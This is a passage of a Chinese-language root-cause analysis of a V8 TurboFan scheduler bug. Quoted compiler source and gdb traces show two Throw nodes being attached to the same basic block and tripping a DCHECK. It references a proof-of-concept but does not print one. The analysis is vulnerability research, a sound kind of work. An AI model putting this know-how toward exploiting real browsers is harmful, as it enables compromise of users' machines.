  void Queue(Node* node) {
  // Mark the connected control nodes as they are queued.
  if (!queued_.Get(node)) {
    //BuildBlock函数为每个node创建一个基本块
    BuildBlocks(node);
    queue_.push(node);
    queued_.Set(node, true);
    control_.push_back(node);
  }
}

ConnectBlocks方法将不同类型的control_node连接到基本块中(注意这里不止是放置节点到基本块，还有将node作为Basic block之间连接的桥梁)，Placement属性表示节点的处理情况，kFixed表示处理完毕的节点，我们重点关注ConnectThrow方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//src/compiler/scheduler.cc:371
  void ConnectBlocks(Node* node) {
    switch (node->opcode()) {
      case IrOpcode::kLoop:
      case IrOpcode::kMerge:
        ConnectMerge(node);
        break;
      case IrOpcode::kBranch:
        scheduler_->UpdatePlacement(node, Scheduler::kFixed);
        ConnectBranch(node);
        break;
      case IrOpcode::kSwitch:
        scheduler_->UpdatePlacement(node, Scheduler::kFixed);
        ConnectSwitch(node);
        break;
      case IrOpcode::kDeoptimize:
        scheduler_->UpdatePlacement(node, Scheduler::kFixed);
        ConnectDeoptimize(node);
        break;
      case IrOpcode::kTailCall:
        scheduler_->UpdatePlacement(node, Scheduler::kFixed);
        ConnectTailCall(node);
        break;
      case IrOpcode::kReturn:
        scheduler_->UpdatePlacement(node, Scheduler::kFixed);
        ConnectReturn(node);
        break;
      case IrOpcode::kThrow:
        scheduler_->UpdatePlacement(node, Scheduler::kFixed);
        ConnectThrow(node);
        break;
#define CONNECT_BLOCK_JS_CASE(Name) case IrOpcode::k##Name:
        JS_OP_LIST(CONNECT_BLOCK_JS_CASE)
// JS opcodes are just like calls => fall through.
#undef CONNECT_BLOCK_JS_CASE
      case IrOpcode::kCall:
        if (NodeProperties::IsExceptionalCall(node)) {
          scheduler_->UpdatePlacement(node, Scheduler::kFixed);
          ConnectCall(node);
        }
        break;
      default:
        break;
    }
  }

ConnectThrow方法首先获取参数节点的control_input，这里的control_input对应节点的控制节点，根据此节点寻找其所在的基本块(如果该节点尚未放入基本块则继续向前寻找其控制节点和对应的基本块)，之后调用schedule_->AddThrow方法将该节点同基本块"连接"起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//src/compiler/scheduler.cc:566
  void ConnectThrow(Node* thr) {
    Node* throw_control = NodeProperties::GetControlInput(thr);
    BasicBlock* throw_block = FindPredecessorBlock(throw_control);
    TraceConnect(thr, throw_block, nullptr);
    schedule_->AddThrow(throw_block, thr);
  }
    static Node* GetControlInput(Node* node, int index = 0) {
    CHECK_LE(0, index);
    CHECK_LT(index, node->op()->ControlInputCount());
    return node->InputAt(FirstControlIndex(node) + index);
  }
    BasicBlock* FindPredecessorBlock(Node* node) {
    BasicBlock* predecessor_block = nullptr;
    while (true) {
      predecessor_block = schedule_->block(node);
      if (predecessor_block != nullptr) break;
      node = NodeProperties::GetControlInput(node);
    }
    return predecessor_block;
  }

Schedule::AddThrow方法中DCHECK检查了BasicBlock::kNone == block->control()，这个检查表明我们传入的基本块应当是一个未初始化control的block，之后调用block->set_control设置基本块的control为kThrow(注意区分基本块的control和节点的control，节点control对应另一个控制节点，基本块的control表明该基本块的control_input节点的属性)，再调用set_control_input将control_input节点设置为Throw节点，最后使用nodeid_to_block_[node->id()] = block将基本块的位置保存在全局变量nodeid_to_block_数组中方便根据node->id查找Node所在基本块位置。最后将这个基本块同end所在的基本块双向连接起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//src/compiler/schedule.cc:296
void Schedule::AddThrow(BasicBlock* block, Node* input) {
  DCHECK_EQ(BasicBlock::kNone, block->control());
  block->set_control(BasicBlock::kThrow);
  SetControlInput(block, input);
  if (block != end()) AddSuccessor(block, end());
}
//src/compiler/schedule.cc:451
void Schedule::SetControlInput(BasicBlock* block, Node* node) {
  block->set_control_input(node);
  SetBlockForNode(block, node);
}
//src/compiler/schedule.cc:61
void BasicBlock::set_control_input(Node* control_input) {
  if (!nodes_.empty() && control_input == nodes_.back()) {
    nodes_.pop_back();
  }
  control_input_ = control_input;
}
//src/compiler/schedule.cc:456
void Schedule::SetBlockForNode(BasicBlock* block, Node* node) {
  if (node->id() >= nodeid_to_block_.size()) {
    nodeid_to_block_.resize(node->id() + 1);
  }
  nodeid_to_block_[node->id()] = block;
}
//src/compiler/schedule.cc:436
void Schedule::AddSuccessor(BasicBlock* block, BasicBlock* succ) {
  block->AddSuccessor(succ);
  succ->AddPredecessor(block);
}
//src/compiler/schedule.cc:45
void BasicBlock::AddSuccessor(BasicBlock* successor) {
  successors_.push_back(successor);
}
//src/compiler/schedule.cc:49
void BasicBlock::AddPredecessor(BasicBlock* predecessor) {
  predecessors_.push_back(predecessor);
}

Schedule::AddThrow函数也是我们PoC1在debug版本触发crash的报错函数，为了查看报错的具体原因我们动态调试此处并观察节点和基本块的处理情况。

观察之后发现首先处理131:Throw节点，该节点的control_input为70:Call，此节点尚未放入任何基本块中，继续向前寻找，发现70:Call节点的control_input节点20:IfFalse归属基本块id3:block，故将其作为Schedule::AddThrow的参数.我们断到该函数处查看参数，此时的bb3的control为kNone因此DCHECK不会报错，最终bb3的control_input被设置为131:Throw，bb3也和end块建立了双向连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
//set args p2.js --allow-natives-syntax --trace-turbo-reduction --trace-turbo  --trace-turbo-scheduled --trace-turbo-scheduler
//b pipeline.cc:1696
//b scheduler.cc:399
//日志:Connect #131:Throw, id:3 -> end
[-------------------------------------code-------------------------------------]
   0x555cd867fead:	int3   
   0x555cd867feae:	int3   
   0x555cd867feaf:	int3   
=> 0x555cd867feb0 <v8::internal::compiler::Schedule::AddThrow(v8::internal::compiler::BasicBlock*, v8::internal::compiler::Node*)>:	push   rbp
   0x555cd867feb1 <v8::internal::compiler::Schedule::AddThrow(v8::internal::compiler::BasicBlock*, v8::internal::compiler::Node*)+1>:	mov    rbp,rsp
   0x555cd867feb4 <v8::internal::compiler::Schedule::AddThrow(v8::internal::compiler::BasicBlock*, v8::internal::compiler::Node*)+4>:	push   r15
   0x555cd867feb6 <v8::internal::compiler::Schedule::AddThrow(v8::internal::compiler::BasicBlock*, v8::internal::compiler::Node*)+6>:	push   r14
   0x555cd867feb8 <v8::internal::compiler::Schedule::AddThrow(v8::internal::compiler::BasicBlock*, v8::internal::compiler::Node*)+8>:	push   r12
[------------------------------------stack-------------------------------------]
0000| 0x7ffc5a1c3548 --> 0x555cd86833eb (<v8::internal::compiler::CFGBuilder::Run()+459>:	add    rbx,0x8)
0008| 0x7ffc5a1c3550 --> 0x0 
0016| 0x7ffc5a1c3558 --> 0x0 
0024| 0x7ffc5a1c3560 --> 0x555cd9cc4fd0 --> 0x555cd9cc4f88 --> 0x555cd8a27708 (:internal::compiler::Operator+16>:	0x0000555cd7cb3ae0)
0032| 0x7ffc5a1c3568 --> 0x555cd9d04d70 --> 0x555cd9cad120 --> 0x13c0 
0040| 0x7ffc5a1c3570 --> 0x7ffc5a1c3630 --> 0x555cd9cad120 --> 0x13c0 
0048| 0x7ffc5a1c3578 --> 0x1bd 
0056| 0x7ffc5a1c3580 --> 0x7ffc5a1c3630 --> 0x555cd9cad120 --> 0x13c0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
v8::internal::compiler::Schedule::AddThrow (this=0x555cd9cf0748, block=0x555cd9d05f80, input=0x555cd9cf7928) at ../../src/compiler/schedule.cc:296
296	void Schedule::AddThrow(BasicBlock* block, Node* input) {
gdb-peda$ p *(struct BasicBlock*) $rsi
$13 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::BasicBlock:
  //...
  control_ = v8::internal::compiler::BasicBlock::kNone,
  control_input_ = 0x0,
  nodes_ = {
    //..
    },
  successors_ = {
    //..
    },
  predecessors_ = {
    //..
    },
  id_ = {
    index_ = 0x3(bb3基本块)
  }
}
gdb-peda$ p *(struct Node*) $rdx
$14 = {
  static kOutlineMarker = 0xf,
  static kMaxInlineCapacity = 0xe,
  op_ = 0x555cd8a642f8 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+288>,
  type_ = {
    payload_ = 0x0
  },
  mark_ = 0x45,
  bit_field_ = 0x22000083,(131节点)
  first_use_ = 0x555cd9d16750
}
gdb-peda$ p * (v8::internal::compiler::Operator *) 0x555cd8a642f8
warning: RTTI symbol not found for class 'v8::internal::compiler::CommonOperatorGlobalCache::ThrowOperator'
$15 = warning: RTTI symbol not found for class 'v8::internal::compiler::CommonOperatorGlobalCache::ThrowOperator'
{
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::Operator:
  _vptr$Operator = 0x555cd8a17750 <vtable for v8::internal::compiler::CommonOperatorGlobalCache::ThrowOperator+16>,
  mnemonic_ = 0x555cd7a2c92a "Throw",
  opcode_ = 0x15,
  properties_ = {
    mask_ = 0x78
  },
  //...
}
gdb-peda$

继续运行程序，第二次处理180:Throw节点，该节点的control_input也为70:Call和20:IfFalse，因此在寻找前驱block时也找到了id=3的基本块bb3，由于之前的control已被赋值为kThrow，这里的DCHECK检查报错程序crash。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
[-------------------------------------code-------------------------------------]
   0x555cd867fead:	int3   
   0x555cd867feae:	int3   
   0x555cd867feaf:	int3   
=> 0x555cd867feb0 <v8::internal::compiler::Schedule::AddThrow(v8::internal::compiler::BasicBlock*, v8::internal::compiler::Node*)>:	push   rbp
   0x555cd867feb1 <v8::internal::compiler::Schedule::AddThrow(v8::internal::compiler::BasicBlock*, v8::internal::compiler::Node*)+1>:	mov    rbp,rsp
   0x555cd867feb4 <v8::internal::compiler::Schedule::AddThrow(v8::internal::compiler::BasicBlock*, v8::internal::compiler::Node*)+4>:	push   r15
   0x555cd867feb6 <v8::internal::compiler::Schedule::AddThrow(v8::internal::compiler::BasicBlock*, v8::internal::compiler::Node*)+6>:	push   r14
   0x555cd867feb8 <v8::internal::compiler::Schedule::AddThrow(v8::internal::compiler::BasicBlock*, v8::internal::compiler::Node*)+8>:	push   r12
[------------------------------------stack-------------------------------------]
0000| 0x7ffc5a1c3548 --> 0x555cd86833eb (<v8::internal::compiler::CFGBuilder::Run()+459>:	add    rbx,0x8)
0008| 0x7ffc5a1c3550 --> 0x0 
0016| 0x7ffc5a1c3558 --> 0x0 
0024| 0x7ffc5a1c3560 --> 0x555cd9cc4fd0 --> 0x555cd9cc4f88 --> 0x555cd8a27708 (:internal::compiler::Operator+16>:	0x0000555cd7cb3ae0)
0032| 0x7ffc5a1c3568 --> 0x555cd9d04d70 --> 0x555cd9cad120 --> 0x13c0 
0040| 0x7ffc5a1c3570 --> 0x7ffc5a1c3630 --> 0x555cd9cad120 --> 0x13c0 
0048| 0x7ffc5a1c3578 --> 0x1bd 
0056| 0x7ffc5a1c3580 --> 0x7ffc5a1c3630 --> 0x555cd9cad120 --> 0x13c0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Thread 1 "d8" hit Breakpoint 5, v8::internal::compiler::Schedule::AddThrow (this=0x555cd9cf0748, block=0x555cd9d05f80, input=0x555cd9d06748) at ../../src/compiler/schedule.cc:296
296	void Schedule::AddThrow(BasicBlock* block, Node* input) {
gdb-peda$ info b
Num     Type           Disp Enb Address            What
1       breakpoint     keep y   0x0000555cd8670a36 in v8::internal::compiler::EffectControlLinearizationPhase::Run(v8::internal::compiler::PipelineData*, v8::internal::Zone*) at ../../src/compiler/pipeline.cc:1696
	breakpoint already hit 1 time
2       breakpoint     keep y   0x0000555cd86851fe in v8::internal::compiler::CFGBuilder::ConnectBlocks(v8::internal::compiler::Node*) at ../../src/compiler/scheduler.cc:399
	breakpoint already hit 2 times
4       breakpoint     keep y   0x0000555cd86850ef in v8::internal::compiler::CFGBuilder::ConnectBlocks(v8::internal::compiler::Node*) at ../../src/compiler/scheduler.cc:406
5       breakpoint     keep y   0x0000555cd867feb0 in v8::internal::compiler::Schedule::AddThrow(v8::internal::compiler::BasicBlock*, v8::internal::compiler::Node*) at ../../src/compiler/schedule.cc:296
	breakpoint already hit 1 time
gdb-peda$ p *(struct BasicBlock*) $rsi
$16 = {
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::BasicBlock:
  //...
  control_ = v8::internal::compiler::BasicBlock::kThrow,
  control_input_ = 0x555cd9cf7928,
  nodes_ = {
    //..
    },
  successors_ = {
    //..
    },
  predecessors_ = {
    //..
    },
  id_ = {
    index_ = 0x3(bb3基本块)
  }
}
gdb-peda$ p *(struct Node*) $rdx
$17 = {
  static kOutlineMarker = 0xf,
  static kMaxInlineCapacity = 0xe,
  op_ = 0x555cd8a642f8 <v8::internal::compiler::(anonymous namespace)::GetCommonOperatorGlobalCache()::object+288>,
  type_ = {
    payload_ = 0x0
  },
  mark_ = 0x45,
  bit_field_ = 0x320000b4,(180节点)
  first_use_ = 0x555cd9d16738
}
gdb-peda$ p * (v8::internal::compiler::Operator *) 0x555cd8a642f8
warning: RTTI symbol not found for class 'v8::internal::compiler::CommonOperatorGlobalCache::ThrowOperator'
$18 = warning: RTTI symbol not found for class 'v8::internal::compiler::CommonOperatorGlobalCache::ThrowOperator'
{
  <v8::internal::ZoneObject> = {<No data fields>}, 
  members of v8::internal::compiler::Operator:
  _vptr$Operator = 0x555cd8a17750 <vtable for v8::internal::compiler::CommonOperatorGlobalCache::ThrowOperator+16>,
  mnemonic_ = 0x555cd7a2c92a "Throw",
  opcode_ = 0x15,
  properties_ = {
    mask_ = 0x78
  },
  //..
}

经过上述调试我们发现同一个basic block bb3被重复赋值了control和control_input，这样的操作会产生什么影响呢？

从源码角度看，造成的影响有：

  1. bb3和end基本块连接了两次，因此在bb3的successors_里会保留两个end的副本，在end的predecessors_里会保留两个bb3的副本(这一点也可以通过gdb调试vector成员的方式进行查看，查看向量中start和current属性之间保存的基本块变量即可)
  2. nodeid_to_block_[node->id()] = block;的赋值操作导致两个节点都可以访问到bb3

至此BuildCFG部分基本分析完毕，可以看到control_input是基本块的一个重要属性，通过DCHECK不难发现开发者假设一个基本块只能有一个control_input，而issue正是打破了这种假设，至于后续的影响我们还需要继续分析。

ComputeSpecialRPONumbering函数我们暂且按下不表，这里的rpo相比于传统意义上的rpo还多了一些条件限制，具体可参见代码注释。


GenerateDominatorTree函数主要创建支配树，从start块自顶向下遍历构建。对于某个待处理的基本块，获取其所有的前驱块，再调用BasicBlock::GetCommonDominator获取两个基本块的共同支配点，dominator_depth用于描述从start开始的基本块的深度，因此该函数遍历两个基本块的dominator(向着dominator_depth减小的方向)，最终得到共同的支配块，这里的支配块就是IDom。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
//src/compiler/scheduler.cc:1175
void Scheduler::GenerateDominatorTree() {
  TRACE("--- IMMEDIATE BLOCK DOMINATORS -----------------------------\n");
  GenerateDominatorTree(schedule_);
}
//src/compiler/scheduler.cc:1167
void Scheduler::GenerateDominatorTree(Schedule* schedule) {
  // Seed start block to be the first dominator.
  schedule->start()->set_dominator_depth(0);

  // Build the block dominator tree resulting from the above seed.
  PropagateImmediateDominators(schedule->start()->rpo_next());
}
//src/compiler/scheduler.cc:1143
void Scheduler::PropagateImmediateDominators(BasicBlock* block) {
  for (/*nop*/; block != nullptr; block = block->rpo_next()) {
    auto pred = block->predecessors().begin();
    auto end = block->predecessors().end();
    DCHECK(pred != end);  // All blocks except start have predecessors.
    BasicBlock* dominator = *pred;
    bool deferred = dominator->deferred();
    // For multiple predecessors, walk up the dominator tree until a common
    // dominator is found. Visitation order guarantees that all predecessors
    // except for backwards edges have been visited.
    for (++pred; pred != end; ++pred) {
      // Don't examine backwards edges.
      if ((*pred)->dominator_depth() < 0) continue;
      dominator = BasicBlock::GetCommonDominator(dominator, *pred);
      deferred = deferred & (*pred)->deferred();
    }
    block->set_dominator(dominator);
    block->set_dominator_depth(dominator->dominator_depth() + 1);
    block->set_deferred(deferred | block->deferred());
    TRACE("Block id:%d's idom is id:%d, depth = %d\n", block->id().ToInt(),
          dominator->id().ToInt(), block->dominator_depth());
  }
}
//src/compiler/schedule.cc:96
BasicBlock* BasicBlock::GetCommonDominator(BasicBlock* b1, BasicBlock* b2) {
  while (b1 != b2) {
    if (b1->dominator_depth() < b2->dominator_depth()) {
      b2 = b2->dominator();
    } else {
      b1 = b1->dominator();
    }
  }
  return b1;
}

PrepareUses方法从end节点开始遍历整个图节点，对于状态为kFixed节点标记为root节点，对于其中尚未分配基本块的节点将其添加到control_input对应的基本块中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
//src/compiler/scheduler.cc:1224
void Scheduler::PrepareUses() {
  TRACE("--- PREPARE USES -------------------------------------------\n");

  // Count the uses of every node, which is used to ensure that all of a
  // node's uses are scheduled before the node itself.
  PrepareUsesVisitor prepare_uses(this);

  // TODO(turbofan): simplify the careful pre/post ordering here.
  BoolVector visited(graph_->NodeCount(), false, zone_);
  ZoneStack<Node::InputEdges::iterator> stack(zone_);
  Node* node = graph_->end();
  prepare_uses.Pre(node);
  visited[node->id()] = true;
  stack.push(node->input_edges().begin());
  while (!stack.empty()) {
    tick_counter_->DoTick();
    Edge edge = *stack.top();
    Node* node = edge.to();
    if (visited[node->id()]) {
      prepare_uses.PostEdge(edge.from(), edge.index(), edge.to());
      if (++stack.top() == edge.from()->input_edges().end()) stack.pop();
    } else {
      prepare_uses.Pre(node);
      visited[node->id()] = true;
      if (node->InputCount() > 0) stack.push(node->input_edges().begin());
    }
  }
}
//src/compiler/scheduler.cc:1189
  void Pre(Node* node) {
    if (scheduler_->InitializePlacement(node) == Scheduler::kFixed) {
      // Fixed nodes are always roots for schedule late.
      scheduler_->schedule_root_nodes_.push_back(node);
      if (!schedule_->IsScheduled(node)) {
        // Make sure root nodes are scheduled in their respective blocks.
        TRACE("Scheduling fixed position node #%d:%s\n", node->id(),
              node->op()->mnemonic());
        IrOpcode::Value opcode = node->opcode();
        BasicBlock* block =
            opcode == IrOpcode::kParameter
                ? schedule_->start()
                : schedule_->block(NodeProperties::GetControlInput(node));
        DCHECK_NOT_NULL(block);
        schedule_->AddNode(block, node);
      }
    }
  }
  void Schedule::AddNode(BasicBlock* block, Node* node) {
  if (FLAG_trace_turbo_scheduler) {
    StdoutStream{} << "Adding #" << node->id() << ":" << node->op()->mnemonic()
                   << " to B" << block->id() << "\n";
  }
  DCHECK(this->block(node) == nullptr || this->block(node) == block);
  block->AddNode(node);
  SetBlockForNode(block, node);
}

ScheduleEarly方法对于root节点进行schedule，将minimum_block_赋值为节点所在的block并将这个信息向后传递给该节点所有的use处，被传播到该信息的use又会放入queue中继续向后传播自己的use。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
//src/compiler/scheduler.cc:1344
void Scheduler::ScheduleEarly() {
  TRACE("--- SCHEDULE EARLY -----------------------------------------\n");
  if (FLAG_trace_turbo_scheduler) {
    TRACE("roots: ");
    for (Node* node : schedule_root_nodes_) {
      TRACE("#%d:%s ", node->id(), node->op()->mnemonic());
    }
    TRACE("\n");
  }

  // Compute the minimum block for each node thereby determining the earliest
  // position each node could be placed within a valid schedule.
  ScheduleEarlyNodeVisitor schedule_early_visitor(zone_, this);
  schedule_early_visitor.Run(&schedule_root_nodes_);
}
//src/compiler/scheduler.cc:1258
class ScheduleEarlyNodeVisitor {
  // Run the schedule early algorithm on a set of fixed root nodes.

  void Run(NodeVector* roots) {
    for (Node* const root : *roots) {
      queue_.push(root);
      while (!queue_.empty()) {
        scheduler_->tick_counter_->DoTick();
        VisitNode(queue_.front());
        queue_.pop();
      }
    }
  }
  // Visits one node from the queue and propagates its current schedule early
  // position to all uses. This in turn might push more nodes onto the queue.
  void VisitNode(Node* node) {
    Scheduler::SchedulerData* data = scheduler_->GetData(node);

    // Fixed nodes already know their schedule early position.
    if (scheduler_->GetPlacement(node) == Scheduler::kFixed) {
      data->minimum_block_ = schedule_->block(node);
      TRACE("Fixing #%d:%s minimum_block = id:%d, dominator_depth = %d\n",
            node->id(), node->op()->mnemonic(),
            data->minimum_block_->id().ToInt(),
            data->minimum_block_->dominator_depth());
    }

    // No need to propagate unconstrained schedule early positions.
    if (data->minimum_block_ == schedule_->start()) return;

    // Propagate schedule early position.
    DCHECK_NOT_NULL(data->minimum_block_);
    for (auto use : node->uses()) {
      if (scheduler_->IsLive(use)) {
        PropagateMinimumPositionToNode(data->minimum_block_, use);
      }
    }
  }
}
  // Propagates {block} as another minimum position into the given {node}. This
  // has the net effect of computing the minimum dominator block of {node} that
  // still post-dominates all inputs to {node} when the queue is processed.
  void PropagateMinimumPositionToNode(BasicBlock* block, Node* node) {
    Scheduler::SchedulerData* data = scheduler_->GetData(node);

    // No need to propagate to fixed node, it's guaranteed to be a root.
    if (scheduler_->GetPlacement(node) == Scheduler::kFixed) return;

    // Coupled nodes influence schedule early position of their control.
    if (scheduler_->GetPlacement(node) == Scheduler::kCoupled) {
      Node* control = NodeProperties::GetControlInput(node);
      PropagateMinimumPositionToNode(block, control);
    }

    // Propagate new position if it is deeper down the dominator tree than the
    // current. Note that all inputs need to have minimum block position inside
    // the dominator chain of {node}'s minimum block position.
    DCHECK(InsideSameDominatorChain(block, data->minimum_block_));
    if (block->dominator_depth() > data->minimum_block_->dominator_depth()) {
      data->minimum_block_ = block;
      queue_.push(node);
      TRACE("Propagating #%d:%s minimum_block = id:%d, dominator_depth = %d\n",
            node->id(), node->op()->mnemonic(),
            data->minimum_block_->id().ToInt(),
            data->minimum_block_->dominator_depth());
    }
  }

ScheduleLate方法遍历标记为root的节点，对于每个节点，确定其input节点对应的基本块位置，该基本块为node所有use的CommonDominator，之后调用PlanNode将node放到该基本块中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
//src/compiler/scheduler.cc:1704
void Scheduler::ScheduleLate() {
  TRACE("--- SCHEDULE LATE ------------------------------------------\n");
  if (FLAG_trace_turbo_scheduler) {
    TRACE("roots: ");
    for (Node* node : schedule_root_nodes_) {
      TRACE("#%d:%s ", node->id(), node->op()->mnemonic());
    }
    TRACE("\n");
  }

  // Schedule: Places nodes in dominator block of all their uses.
  ScheduleLateNodeVisitor schedule_late_visitor(zone_, this);
  schedule_late_visitor.Run(&schedule_root_nodes_);
}
//src/compiler/scheduler.cc:1365
class ScheduleLateNodeVisitor {
// Run the schedule late algorithm on a set of fixed root nodes.
  void Run(NodeVector* roots) {
    for (Node* const root : *roots) {
      //遍历root节点
      ProcessQueue(root);
    }
  }
  //src/compiler/scheduler.cc:1382
    void ProcessQueue(Node* root) {
    ZoneQueue<Node*>* queue = &(scheduler_->schedule_queue_);
    for (Node* node : root->inputs()) {
      //对节点的input进行schedule
      // Don't schedule coupled nodes on their own.
      if (scheduler_->GetPlacement(node) == Scheduler::kCoupled) {
        //对于coupled节点不作处理，转而处理其control_input
        node = NodeProperties::GetControlInput(node);
      }

      // Test schedulability condition by looking at unscheduled use count.
      if (scheduler_->GetData(node)->unscheduled_count_ != 0) continue;

      queue->push(node);
      do {
        scheduler_->tick_counter_->DoTick();
        Node* const node = queue->front();
        queue->pop();
        VisitNode(node);
      } while (!queue->empty());
    }
  }
    // Visits one node from the queue of schedulable nodes and determines its
  // schedule late position. Also hoists nodes out of loops to find a more
  // optimal scheduling position.
  //src/compiler/scheduler.cc:1406
  void VisitNode(Node* node) {
    //...

    // Determine the dominating block for all of the uses of this node. It is
    // the latest block that this node can be scheduled in.
    TRACE("Scheduling #%d:%s\n", node->id(), node->op()->mnemonic());
    BasicBlock* block = GetCommonDominatorOfUses(node);
    //...

    // Schedule the node or a floating control structure.
    if (IrOpcode::IsMergeOpcode(node->opcode())) {
      ScheduleFloatingControl(block, node);
    } else if (node->opcode() == IrOpcode::kFinishRegion) {
      ScheduleRegion(block, node);
    } else {
      ScheduleNode(block, node);
    }
  }
    BasicBlock* GetCommonDominatorOfUses(Node* node) {
    BasicBlock* block = nullptr;
    for (Edge edge : node->use_edges()) {
      if (!scheduler_->IsLive(edge.from())) continue;
      BasicBlock* use_block = GetBlockForUse(edge);
      block = block == nullptr
                  ? use_block
                  : use_block == nullptr
                        ? block
                        : BasicBlock::GetCommonDominator(block, use_block);
    }
    return block;
  }
}
//src/compiler/scheduler.cc:1670
  void ScheduleNode(BasicBlock* block, Node* node) {
    schedule_->PlanNode(block, node);
    size_t block_id = block->id().ToSize();
    if (!scheduler_->scheduled_nodes_[block_id]) {
      scheduler_->scheduled_nodes_[block_id] =
          new (zone_->New(sizeof(NodeVector))) NodeVector(zone_);
    }
    scheduler_->scheduled_nodes_[block_id]->push_back(node);
    scheduler_->UpdatePlacement(node, Scheduler::kScheduled);
  }
  void Schedule::PlanNode(BasicBlock* block, Node* node) {
  if (FLAG_trace_turbo_scheduler) {
    StdoutStream{} << "Planning #" << node->id() << ":"
                   << node->op()->mnemonic() << " for future add to B"
                   << block->id() << "\n";
  }
  DCHECK_NULL(this->block(node));
  SetBlockForNode(block, node);
}

SealFinalSchedule方法输出最终的node<->block位置对应结果，注意这里日志输出时用的是node->id()标识基本块，id是基本块存放的物理位置，即基本块在内存中以id0->id1->id2->...方式存放，而在LinearizeEffectControl阶段结束后调用PrintScheduledGraph输出基本块和节点对应关系时使用rpo_number作为基本块的编号，这里的编号为逻辑id，比如node_id=3的基本块的rpo_number=4，这里的编号对应可以在gdb中调试也可以在日志中观察对应。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
//src/compiler/scheduler.cc:1724
void Scheduler::SealFinalSchedule() {
  TRACE("--- SEAL FINAL SCHEDULE ------------------------------------\n");

  // Serialize the assembly order and reverse-post-order numbering.
  special_rpo_->SerializeRPOIntoSchedule();
  special_rpo_->PrintAndVerifySpecialRPO();

  // Add collected nodes for basic blocks to their blocks in the right order.
  int block_num = 0;
  for (NodeVector* nodes : scheduled_nodes_) {
    BasicBlock::Id id = BasicBlock::Id::FromInt(block_num++);
    BasicBlock* block = schedule_->GetBlockById(id);
    if (nodes) {
      for (Node* node : base::Reversed(*nodes)) {
        schedule_->AddNode(block, node);
      }
    }
  }
}
//src/compiler/schedule.cc:210
void Schedule::AddNode(BasicBlock* block, Node* node) {
  if (FLAG_trace_turbo_scheduler) {
    StdoutStream{} << "Adding #" << node->id() << ":" << node->op()->mnemonic()
                   << " to B" << block->id() << "\n";
  }
  DCHECK(this->block(node) == nullptr || this->block(node) == block);
  block->AddNode(node);
  SetBlockForNode(block, node);
}

在BuildCFG方法执行阶段漏洞得以触发，通过对比日志发现关键的数组长度赋值节点73:StoreFiled在此阶段的schedule位置并未发生错误，我们继续分析后面的LinearizeEffectControl函数

LinearizeEffectControl

该阶段主要是将分配表示形式的变化链入control/effect chain中并lower节点，引入effect phis重新连接effect得到SSA等。我们重点关注ProcessNode函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
//src/compiler/effect-control-linearizer.cc:5982
void LinearizeEffectControl(JSGraph* graph, Schedule* schedule, Zone* temp_zone,
                            SourcePositionTable* source_positions,
                            NodeOriginTable* node_origins,
                            MaskArrayIndexEnable mask_array_index,
                            MaintainSchedule maintain_schedule) {
  EffectControlLinearizer linearizer(graph, schedule, temp_zone,
                                     source_positions, node_origins,
                                     mask_array_index, maintain_schedule);
  linearizer.Run();
}
//src/compiler/effect-control-linearizer.cc:552
void EffectControlLinearizer::Run() {
  //block_effects是使用from的id和to的id组合起来作为key的map结构，其value类型为BlockEffectControlData
  //即用来描述effect/control的数据结构，之后会根据这个数据结构动态更新control和effect
  BlockEffectControlMap block_effects(temp_zone());
  ZoneVector<PendingEffectPhi> pending_effect_phis(temp_zone());
  ZoneVector<BasicBlock*> pending_block_controls(temp_zone());
